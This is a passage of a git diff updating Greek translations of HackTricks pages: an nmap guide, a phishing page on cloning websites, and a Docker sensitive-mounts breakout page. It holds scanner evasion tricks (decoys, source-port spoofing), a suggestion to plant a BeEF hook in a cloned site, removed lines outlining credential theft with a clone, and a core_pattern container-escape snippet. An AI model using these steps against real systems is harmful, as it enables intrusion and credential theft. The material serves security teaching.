**Default:** εκτελεί τα προεπιλεγμένα βασικά σενάρια του εργαλείου +* **Auth:** εκτελεί όλα τα διαθέσιμα _scripts_ για πιστοποίηση +* **Default:** εκτελεί τα προεπιλεγμένα _scripts_ του εργαλείου * **Discovery:** ανακτά πληροφορίες για τον στόχο ή το θύμα -* **External:** σενάριο για τη χρήση εξωτερικών πόρων -* **Intrusive:** χρησιμοποιεί σενάρια που θεωρούνται επιθετικά για το θύμα ή τον στόχο -* **Malware:** ελέγχει αν υπάρχουν ανοιχτές συνδέσεις από κακόβουλο κώδικα ή πίσω πόρτες -* **Safe:** εκτελεί μη επιθετικά σενάρια +* **External:** _script_ για χρήση εξωτερικών πόρων +* **Intrusive:** χρησιμοποιεί _scripts_ που θεωρούνται εισβολικοί για το θύμα ή τον στόχο +* **Malware:** ελέγχει αν υπάρχουν ανοιχτές συνδέσεις λόγω κακόβουλων κωδικών ή _backdoors_ +* **Safe:** εκτελεί _scripts_ που δεν είναι εισβολικοί * **Vuln:** ανακαλύπτει τις πιο γνωστές ευπάθειες -* **All:** εκτελεί όλα τα διαθέσιμα σενάρια NSE +* **All:** εκτελεί όλα τα διαθέσιμα _scripts_ με κατάληξη NSE -Για την αναζήτηση σεναρίων: +Για την αναζήτηση _scripts_: **nmap --script-help="http-\*" -> Αυτά που ξεκινούν με http-** @@ -73,54 +91,92 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 \--script-args-file _\<όνομα αρχείου>_ -\--script-help _\<όνομα αρχείου>_|_\<κατηγορία>_|_\<φάκελος>_|_\<έκφραση>_|all\[,...] +\--script-help _\<όνομα αρχείου>_|_\<κατηγορία>_|_\<κατάλογος>_|_\<έκφραση>_|all\[,...] -\--script-trace ---> Παρέχει πληροφορίες για την πρόοδο του σεναρίου +\--script-trace ---> Παρέχει πληροφορίες σχετικά με την πορεία του _script_ \--script-updatedb -Για να χρησιμοποιήσετε ένα σενάριο, απλά πρέπει να πληκτρολογήσετε: nmap --script Όνομα\_Σεναρίου στόχος --> Με την προσθήκη του σεναρίου, θα εκτελεστεί τόσο το σενάριο όσο και ο σαρωτής, οπότε μπορούν επίσης να προστεθούν επιλογές του σαρωτή, μπορούμε να προσθέσουμε το "safe=1" για να εκτελεστούν μόνο τα ασφαλή. +**Για να χρησιμοποιήσετε ένα _script_ απλά πρέπει να γράψετε: nmap --script Όνομα\_του\_script στόχος** --> Με την εντολή του _script_ εκτελούνται τόσο το _script_ όσο και το εργαλείο σάρωσης, οπότε μπορούν να προστεθούν επιλογές του εργαλείου σάρωσης, μπορούμε να προσθέσουμε **"safe=1"** για να εκτελεστούν μόνο τα ασφαλή. -Έλεγχος χρόνου +**Έλεγχος χρόνου** -Το Nmap μπορεί να τροποποιήσει τον χρόνο σε δευτερόλεπτα, λεπτά, ms: --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing. +**Το Nmap μπορεί να τροποποιήσει το χρόνο σε δευτερόλεπτα, λεπτά, ms:** --host-timeout arguments 900000ms, 900, 900s, και 15m κάνουν το ίδιο πράγμα. -Το Nmap διαιρεί τον συνολικό αριθμό των στόχων που θα σαρώσει σε ομάδες και αναλύει αυτές τις ομάδες σε μπλοκ, έτσι ώστε μέχρι να ολοκληρωθεί η ανάλυση όλων των ομάδων, δεν προχωρά στην επόμενη ομάδα (και ο χρήστης δεν λαμβάνει καμία ενημέρωση μέχρι να ολοκληρωθεί η ανάλυση της ομάδας). Με αυτόν τον τρόπο, είναι πιο αποδοτικό για το Nmap να χρησιμοποιεί μεγάλες ομάδες. Από προεπιλογή, χρησιμοποιεί 256 για την κλάση C. +Το Nmap διαιρεί το συνολικό αριθμό των στόχων προς σάρωση σε ομάδες και αναλύει αυτές τις ομάδες σε μπλοκ, έτσι ώστε μέχρι να έχουν αναλυθεί όλες, δεν προχωρά στο επόμενο μπλοκ (και ο χρήστης δεν λαμβάνει ενημερώσεις μέχρι να αναλυθεί το μπλοκ), με αυτόν τον τρόπο, είναι πιο αποδοτικό για το Nmap να χρησιμοποιεί μεγάλες ομάδες. Από προεπιλογή στην κλάση C χρησιμοποιεί 256. -Μπορείτε να το αλλάξετε με το\*\*--min-hostgroup\*\* _**\<αριθμός στόχων>**_**;** **--max-hostgroup** _**\<αριθμός στόχων>**_ (Προσαρμογή των μεγεθών παράλληλης σάρωσης ομάδας) +Μπορείτε να το αλλάξετε με\*\*--min-hostgroup\*\* _**\<αριθμός στόχων>**_**;** **--max-hostgroup** _**\<αριθμός στόχων>**_ (Προσαρμογή μεγέθους παράλληλης ομάδας σάρωσης) -Μπο -**--proxies** _**\<Λίστα με διευθύνσεις URL των proxy χωρισμένες με κόμμα>**_ Για να χρησιμοποιήσετε proxy, μερικές φορές ένα proxy δεν διατηρεί τόσες ανοιχτές συνδέσεις όσες θέλει το nmap, γι 'αυτό θα πρέπει να τροποποιήσετε την παραλληλία: --max-parallelism +Μπορείτε να ελέγξετε τον αριθμό των σαρωτών που λειτουργούν παράλληλα, αλλά είναι καλύτερο να μην το κάνετε (το nmap έχει ήδη αυτόματο έλεγχο βάσει της κατάστασης του δικτύου): **--min-parallelism** _**\<αριθμός εξερευνήσεων>**_**;** **--max-parallelism** _**\<αριθμός εξερευνήσεων>**_ -**-sP** Για να ανακαλύψετε τους οικοδεσπότες στο δίκτυο στο οποίο βρίσκεστε μέσω ARP +Μπορείτε να τροποποιήσετε το χρονικό όριο rtt, αλλά συνήθως δεν είναι απαραίτητο: **--min-rtt-timeout** _**\<χρόνος>**_**,** **--max-rtt-timeout** _**\<χρόνος>**_**,** **--initial-rtt-timeout** _**\<χρόνος>**_ -Πολλοί διαχειριστές δημιουργούν έναν κανόνα στο τείχος προστασίας που επιτρέπει την πέραση όλων των πακέτων που προέρχονται από ένα συγκεκριμένο θύρα (όπως οι θύρες 20, 53 και 67), μπορούμε να πούμε στο nmap να στείλει τα πακέτα μας από αυτές τις θύρες: **nmap --source-port 53 Ip** +Μπορείτε να τροποποιήσετε τον αριθμό των προσπαθειών:**--max-retries** _**\<αριθμός προσπαθειών>**_ -**Έξοδοι** +Μπορείτε να τροποποιήσετε το χρόνο σάρωσης ενός στόχου: **--host-timeout** _**\<χρόνος>**_ -**-oN αρχείο** Κανονική έξοδος +Μπορείτε να τροποποιήσετε το χρόνο μεταξύ κάθε δοκιμής για να είναι πιο αργή: **--scan-delay** _**\<χρόνος>**_**;** **--max-scan-delay** _**\<χρόνος>**_ -**-oX αρχείο** Έξοδος XML +Μπορείτε να τροποποιήσετε τον αριθμό πακέτων ανά δευτερόλεπτο: **--min-rate** _**\<αριθμός>**_**;** **--max-rate** _**\<αριθμός>**_ -**-oS αρχείο** Έξοδος για script kidies +Πολλές θύρες χρειάζονται πολύ χρόνο για να ανταποκριθούν όταν είναι φιλτραρισμένες ή κλειστές, αν ενδιαφέρονται μόνο οι ανοιχτές, μπορείτε να προχωρήσετε ταχύτερα με: **--defeat-rst-ratelimit** -**-oG αρχείο** Έξοδος που μπορεί να αναζητηθεί με grep +Για να ορίσετε πόσο επιθετικό θέλετε να είναι το nmap: -T paranoid|sneaky|polite|normal|aggressive|insane -**-oA αρχείο** Όλα εκτός από -oS +\-T (0-5) -**-v επίπεδο** Επίπεδο λεπτομερειών +\-T0 --> Σαρώνει μόνο μία θύρα τη φορά και περιμένει 5 λεπτά μέχρι την επόμενη -**-d επίπεδο** Επίπεδο αποσφαλμάτωσης +\-T1 και T2 --> Πολύ παρόμοια αλλά περιμένουν μόνο 15 και 0,4 δευτερόλεπτα αντίστοιχα μεταξύ κάθε δοκιμής -**--reason** Αιτία του οικοδεσπότη και κατάσταση +\-T3 --> Προεπιλεγμένη λειτουργία, συμπεριλαμβάνει παράλληλη εκτέλεση -**--stats-every χρόνος** Κάθε χρόνο μας λέει πώς πάει +\-T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms + +\-T5 --> --max-rtt-timeout 300ms --min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 --host-timeout 15m --max-scan-delay 5ms + +**Τείχος πυρασφάλειας/IDS** + +Αποκλείουν τις θύρες και αναλύουν πακέτα. + +**-f** Για να κατακερματίσετε πακέτα, από προεπιλογή τα κατακερματίζει σε 8bytes μετά την κεφαλίδα, για να καθορίσετε αυτό το μέγεθος χρησιμοποιήστε ..mtu (με αυτό, μην χρησιμοποιείτε -f), το offset πρέπει να είναι πολλαπλάσιο του 8. **Τα εργαλεία ανίχνευσης εκδόσεων και τα _scripts_ δεν υποστηρίζουν την κατακερματισμό** + +**-D decoy1,decoy2,ME** Το Nmap στέλνει σαρωτές αλλά με άλλες διευθύνσεις IP ως προέλευση, με αυτόν τον τρόπο σας κρύβει. Αν βάλετε το ME στη λίστα, το nmap θα σας τοποθετήσει εκεί, καλύτερα να βάλετε 5 ή 6 πριν από εσάς για να σας κρύψει πλήρως. Μπορείτε να δημιουργήσετε τυχαίες διευθύνσεις IP με RND:\<αριθμός> Για να δημιουργήσετε \<αριθμό> τυχαίες διευθύνσεις IP. Δεν λειτουργούν με ανίχνευση εκδόσεων χωρίς σύνδεση TCP. Αν βρίσκεστε μέσα σε ένα δίκτυο, σας ενδιαφέρει να χρησιμοποιήσετε διευθύνσεις IP που είναι ενεργές, διότι αλλιώς θα είναι πολύ εύκολο να ανακαλυφθεί ότι είστε ο μοναδικός ενεργός. + +Για χρήση τυχαίων διευθύνσεων IP: nmap-D RND: 10 Ip\_στόχος + +**-S IP** Όταν το Nmap δεν ανιχνεύει τη διεύθυνση IP σας, πρέπει να τη δώσετε με αυτό. Χρησιμοποι +**--proxies** _**\<Λίστα διευθύνσεων URL proxy χωρισμένων με κόμμα>**_ Για να χρησιμοποιήσετε proxies, μερικές φορές ένα proxy δεν διατηρεί τόσες ανοιχτές συνδέσεις όσες επιθυμεί το nmap, οπότε θα πρέπει να τροποποιήσετε την παράλληλη εκτέλεση: --max-parallelism + +**-sP** Για την ανίχνευση των κόμβων στο δίκτυο στο οποίο βρισκόμαστε μέσω ARP + +Πολλοί διαχειριστές δημιουργούν μια κανόνα στο firewall που επιτρέπει τη διέλευση όλων των πακέτων που προέρχονται από ένα συγκεκριμένο θύρα (όπως οι 20, 53 και 67), μπορούμε να πούμε στο nmap να στείλει τα πακέτα μας από αυτές τις θύρες: **nmap --source-port 53 Ip** + +**Εξόδοι** + +**-oN file** Κανονική έξοδος + +**-oX file** Έξοδος XML + +**-oS file** Έξοδος για script kidies + +**-oG file** Έξοδος σε μορφή που μπορεί να αναζητηθεί με grep + +**-oA file** Όλα εκτός από -oS + +**-v level** Επίπεδο λεπτομέρειας + +**-d level** Αποσφαλμάτωση + +**--reason** Το γιατί του κόμβου και της κατάστασης + +**--stats-every time** Κάθε τόσο χρόνο μας λέει πώς πάει **--packet-trace** Για να δούμε ποια πακέτα αποστέλλονται, μπορούν να καθοριστούν φίλτρα όπως: --version-trace ή --script-trace -**--open** εμφανίζει τα ανοιχτά, ανοιχτά|φιλτραρισμένα και τα μη φιλτραρισμένα +**--open** εμφανίζει τους ανοιχτούς, τους ανοιχτούς|φιλτραρισμένους και τους μη φιλτραρισμένους -**--resume αρχείο** Παράγει ένα σύνοψη +**--resume file** Εκτυπώνει ένα περίληψη **Διάφορα** @@ -130,19 +186,19 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 **Χρόνος εκτέλεσης** -Κατά τη διάρκεια της εκτέλεσης του nmap μπορούμε να αλλάξουμε τις επιλογές: +Κατά τη διάρκεια της εκτέλεσης του nmap μπορούμε να αλλάξουμε επιλογές: -v / V Αύξηση / μείωση του επιπέδου λεπτομερειών +v / V Αύξηση / μείωση του επιπέδου λεπτομέρειας d / D Αύξηση / μείωση του επιπέδου αποσφαλμάτωσης -p / P Ενεργοποίηση / απενεργοποίηση της ανίχνευσης πακέτων +p / P Ενεργοποίηση / απενεργοποίηση της καταγραφής πακέτων -? Εκτύπωση οθόνης βοήθειας αλληλεπίδρασης κατά τη διάρκεια της εκτέλεσης +? Εκτύπωση οθόνης βοήθειας αλληλεπίδρασης κατά την εκτέλεση **Vulscan** -Ένα script του nmap που ελέγχει τις εκδόσεις των υπηρεσιών που ανιχνεύονται σε μια offline βάση δεδομένων (που λαμβάνει από πολύ σημαντικές άλλες) και επιστρέφει τυχόν ευπάθειες +Το script του nmap που εξετάζει τις εκδόσεις των υπηρεσιών που ανακτώνται από μια offline βάση δεδομένων (που κατεβάζει από πολύ σημαντικές άλλες) και επιστρέφει τυχόν ευπάθειες Οι βάσεις δεδομένων που χρησιμοποιεί είναι: @@ -155,22 +211,22 @@ p / P Ενεργοποίηση / απενεργοποίηση της ανίχν 7. Exploitdb.csv | [http://www.exploit-db.com](http://www.exploit-db.com/) 8. Openvas.csv | [http://www.openvas.org](http://www.openvas.org/) -Για να το κατεβάσετε και να το εγκαταστήσετε στον φάκελο του Nmap: +Για να το κατεβάσετε και να το εγκαταστήσετε στο φάκελο του Nmap: wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/ -Θα πρέπει επίσης να κατεβάσετε τα πακέτα των βάσεων δεδομένων και να τα προσθέσετε στο /usr/share/nmap/scripts/vulscan/ +Επίσης, θα πρέπει να κατεβάσετε τα πακέτα των βάσεων δεδομένων και να τα προσθέσετε στο /usr/share/nmap/scripts/vulscan/ Χρήση: -Για να χρησιμοποιήσετε όλα: sudo nmap -sV --script=vulscan HOST\_TO\_SCAN +Για να χρησιμοποιήσετε όλα: sudo nmap -sV --script=vulscan HOST\_A\_ESCANEAR -Για να χρησιμοποιήσετε μια συγκεκριμένη βάση δεδομένων: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_TO\_SCAN +Για να χρησιμοποιήσετε μια συγκεκριμένη βάση δεδομένων: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_ESCANEAR ## Επιτάχυνση της ανάλυσης υπηρεσιών του Nmap x16 -Σύμφωνα με [**αυτήν την ανάρτηση**](https://joshua.hu/nmap-speedup-service-scanning-16x) μπορείτε να επιταχύνετε την ανάλυση υπηρεσιών του nmap τροποποιώντας όλες τις τιμές **`totalwaitms`** στο **300** και την τιμή **`tcpwrappedms`** σε **200** στο αρχείο **`/usr/share/nmap/nmap-service-probes`**. +Σύμφωνα με [**αυτήν την ανάρτηση**](https://joshua.hu/nmap-speedup-service-scanning-16x) μπορείτε να επιταχύνετε την ανάλυση υπηρεσιών του nmap τροποποιώντας όλες τις τιμές **`totalwaitms`** στο **`/usr/share/nmap/nmap-service-probes`** σε **300** και το **`tcpwrappedms`** σε **200**. -Επιπλέον, οι αιτήσεις που δεν έχουν καθορισμένη τιμή **`servicewaitms`** χρησιμοποιούν μια προεπιλεγμένη τιμή **`5000`**. Επομένως, μπορούμε είτε να προσθέσουμε τιμές σε κάθε μια από τις αιτήσεις, είτε να **μεταγλωττίσουμε το nmap** μόνοι μας και να αλλάξουμε την προεπιλεγμένη τιμή στο αρχείο [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79). +Επιπλέον, οι εξετάσεις που δεν έχουν καθορισμένη ειδικά την τιμή **`servicewaitms`** χρησιμοποιούν μια προεπιλεγμένη τιμή των **`5000`**. Επομένως, μπορούμε είτε να προσθέσουμε τιμές σε κάθε μια από τις εξετάσεις, είτε να **μεταγλωττίσουμε το nmap** μόνοι μας και να αλλάξουμε την προεπιλεγμένη τιμή στο [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79). -Εάν δεν θέλετε να α +Αν δεν θέλετε να αλλάξετε καθόλου τις τιμές των **`totalwaitms`** και **`tcpwrappedms`** στο αρχείο `/usr/share/nmap/nmap-service-probes`, μπορείτε να επεξεργαστείτε τον [κώδικα ανάλυσης](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) έτσι ώστε αυτές οι τιμές στο αρχείο `nmap-service-probes` να αγνοούνται εντελώς. diff --git a/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md b/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md index eb699e1c8..609069a89 100644 --- a/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md +++ b/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md @@ -1,21 +1,26 @@
-Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team AWS του HackTricks)! -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: +Άλλοι τρόποι υποστήριξης του HackTricks: -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
+
-Για μια αξιολόγηση phishing, μερικές φορές μπορεί να είναι χρήσιμο να κλωνοποιήσετε εντελώς έναν ιστότοπο. +{% embed url="https://websec.nl/" %} -Σημειώστε ότι μπορείτε επίσης να προσθέσετε ορισμένα φορτία στον κλωνοποιημένο ιστότοπο, όπως ένα BeEF hook για να "ελέγχετε" τον πίνακα του χρήστη. + + +Για μια αξιολόγηση phishing μερικές φορές μπορεί να είναι χρήσιμο να **κλωνοποιήσετε πλήρως μια ιστοσελίδα**. + +Σημειώστε ότι μπορείτε επίσης να προσθέσετε κάποια φορτία στην κλωνοποιημένη ιστοσελίδα όπως ένα BeEF hook για να "ελέγχετε" την καρτέλα του χρήστη. Υπάρχουν διάφορα εργαλεία που μπορείτε να χρησιμοποιήσετε για αυτόν τον σκοπό: @@ -24,61 +29,29 @@ wget -mk -nH ``` ## goclone - -Το `goclone` είναι ένα εργαλείο γραμμής εντολών που χρησιμοποιείται για την αντιγραφή ιστότοπων. Με το `goclone`, μπορείτε να κλωνοποιήσετε έναν ιστότοπο και να τον αποθηκεύσετε τοπικά στον υπολογιστή σας. - -### Εγκατάσταση - -Για να εγκαταστήσετε το `goclone`, ακολουθήστε τα παρακάτω βήματα: - -1. Κατεβάστε τον κώδικα του `goclone` από το αποθετήριο του στο GitHub. -2. Αποσυμπιέστε το αρχείο και μεταβείτε στον φάκελο του `goclone`. -3. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή `go build` για να δημιουργήσετε το εκτελέσιμο αρχείο του `goclone`. -4. Μετακινήστε το εκτελέσιμο αρχείο στον φάκελο `/usr/local/bin` για να είναι προσβάσιμο από οποιοδήποτε μέρος του συστήματός σας. - -### Χρήση - -Για να χρησιμοποιήσετε το `goclone`, ακολουθήστε τα παρακάτω βήματα: - -1. Ανοίξτε ένα τερματικό και μεταβείτε στον φάκελο όπου θέλετε να αποθηκεύσετε τον κλωνοποιημένο ιστότοπο. -2. Εκτελέστε την εντολή `goclone ` όπου `` είναι η διεύθυνση URL του ιστότοπου που θέλετε να κλωνοποιήσετε. -3. Αναμένετε την ολοκλήρωση της διαδικασίας κλωνοποίησης. Ο κλωνοποιημένος ιστότοπος θα αποθηκευτεί στον φάκελο που επιλέξατε. - -Με το `goclone`, μπορείτε να αντιγράψετε ιστότοπους για ανάλυση, δοκιμές ασφαλείας ή οποιοδήποτε άλλο σκοπό χωρίς να χρειάζεται να συνδεθείτε στον πραγματικό ιστότοπο. Ανακαλύψτε τις δυνατότητες του `goclone` και επωφεληθείτε από αυτό το ισχυρό εργαλείο. ```bash #https://github.com/imthaghost/goclone goclone ``` ## Εργαλείο Κοινωνικής Μηχανικής - -### Μεθοδολογία Κλωνοποίησης Ιστοσελίδας - -Η κλωνοποίηση ιστοσελίδας είναι μια τεχνική κοινωνικής μηχανικής που χρησιμοποιείται για να αποκτηθούν προσωπικά στοιχεία από τα θύματα. Αυτή η μέθοδος συνήθως περιλαμβάνει τη δημιουργία μιας ακριβούς αντιγραφής μιας ιστοσελίδας, όπως μια τράπεζα ή μια πλατφόρμα κοινωνικής δικτύωσης, με σκοπό την απάτη των χρηστών και την κλοπή των διαπιστευτηρίων τους. - -Για να κλωνοποιήσετε μια ιστοσελίδα, ακολουθήστε τα παρακάτω βήματα: - -1. Επιλέξτε την ιστοσελίδα που θέλετε να κλωνοποιήσετε και αναλύστε τη δομή της. -2. Κατεβάστε τον πηγαίο κώδικα της ιστοσελίδας. -3. Αντιγράψτε τον πηγαίο κώδικα σε έναν τοπικό φάκελο στον υπολογιστή σας. -4. Τροποποιήστε τον πηγαίο κώδικα για να προσθέσετε τον κακόβουλο κώδικα που θα σας επιτρέψει να καταγράψετε τα διαπιστευτήρια των θυμάτων. -5. Ανεβάστε τον τροποποιημένο πηγαίο κώδικα σε έναν διακομιστή ή σε μια υπηρεσία cloud/SaaS. -6. Δημιουργήστε έναν σύνδεσμο προς την κλωνοποιημένη ιστοσελίδα και αποστείλτε τον στα θύματα μέσω email, μηνύματος κειμένου ή κοινωνικών δικτύων. -7. Παρακολουθήστε τον κλωνοποιημένο ιστότοπο για να συλλέξετε τα διαπιστευτήρια των θυμάτων. - -Είναι σημαντικό να θυμάστε ότι η κλωνοποίηση ιστοσελίδας είναι παράνομη και απαγορεύεται. Χρησιμοποιήστε αυτήν τη μέθοδο μόνο για εκπαιδευτικούς σκοπούς και με την έγκριση του νόμου. ```bash #https://github.com/trustedsec/social-engineer-toolkit ``` +
+ +{% embed url="https://websec.nl/" %} + +
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: +Άλλοι τρόποι υποστήριξης του HackTricks: -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) +* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 0c921d1bf..dc395bf87 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,7 +2,7 @@
-Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)! +Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)! Άλλοι τρόποι υποστήριξης του HackTricks: @@ -14,15 +14,19 @@
-Η εκθεση του `/proc` και `/sys` χωρίς κατάλληλη απομόνωση του namespace εισάγει σημαντικούς κινδύνους ασφάλειας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της διαρροής πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, εάν δεν ρυθμιστούν σωστά ή αν έχουν πρόσβαση από μη εξουσιοδοτημένο χρήστη, μπορεί να οδηγήσουν σε διαφυγή του container, τροποποίηση του host ή παροχή πληροφοριών που βοηθούν σε περαιτέρω επιθέσεις. Για παράδειγμα, η εσφαλμένη προσάρτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία AppArmor λόγω της φύσης του βασισμένη σε διαδρομή, αφήνοντας το `/host/proc` ανεπτυγμένο. +
-**Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε πιθανή ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** +{% embed url="https://websec.nl/" %} + +Η εκθεσιοποίηση του `/proc` και `/sys` χωρίς κατάλληλη απομόνωση του namespace εισάγει σημαντικούς κινδύνους ασφάλειας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, εάν δεν ρυθμιστούν σωστά ή αν έχουν πρόσβαση από μη εξουσιοδοτημένο χρήστη, μπορεί να οδηγήσουν σε διαφυγή του container, τροποποίηση του host ή παροχή πληροφοριών που βοηθούν σε περαιτέρω επιθέσεις. Για παράδειγμα, η εσφαλμένη προσάρτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία AppArmor λόγω της φύσης του βασισμένη σε διαδρομή, αφήνοντας το `/host/proc` ανεπτυγμένο. + +**Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε δυνητική ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** ## Ευπάθειες procfs ### `/proc/sys` -Αυτός ο κατάλογος επιτρέπει την πρόσβαση για την τροποποίηση μεταβλητών πυρήνα, συνήθως μέσω `sysctl(2)`, και περιέχει αρκετούς υποκαταλόγους που αφορούν: +Αυτός ο κατάλογος επιτρέπει την πρόσβαση για τροποποίηση μεταβλητών πυρήνα, συνήθως μέσω `sysctl(2)`, και περιέχει αρκετούς υποκαταλόγους που αφορούν: #### **`/proc/sys/kernel/core_pattern`** @@ -31,7 +35,7 @@ * **Παράδειγμα Δοκιμής και Εκμετάλλευσης**: ```bash -[ -w /proc/sys/kernel/core_pattern ] && echo Ναι # Δοκιμή πρόσβασης εγγραφής +[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Δοκιμή πρόσβασης εγγραφής cd /proc/sys/kernel echo "|$overlay/shell.sh" > core_pattern # Ορισμός προσαρμοσμένου χειριστή sleep 5 && ./crash & # Ενεργοποίηση χειριστή @@ -39,7 +43,7 @@ sleep 5 && ./crash & # Ενεργοποίηση χειριστή #### **`/proc/sys/kernel/modprobe`** -* Λεπτομερώς στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +* Λεπτομερείς πληροφορίες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). * Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα module, καλείται για τη φόρτωση πυρήνα modules. * **Παράδειγμα Έλεγχου Πρόσβασης**: @@ -50,12 +54,12 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ #### **`/proc/sys/vm/panic_on_oom`** * Αναφέρεται στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -* Ένα γενικό σημαία που ελέγχει εάν ο πυρήνας κάνει panic ή ενεργοποιεί τον OOM killer όταν συμβεί μια κατάσταση OOM. +* Ένα γενικό σημαία που 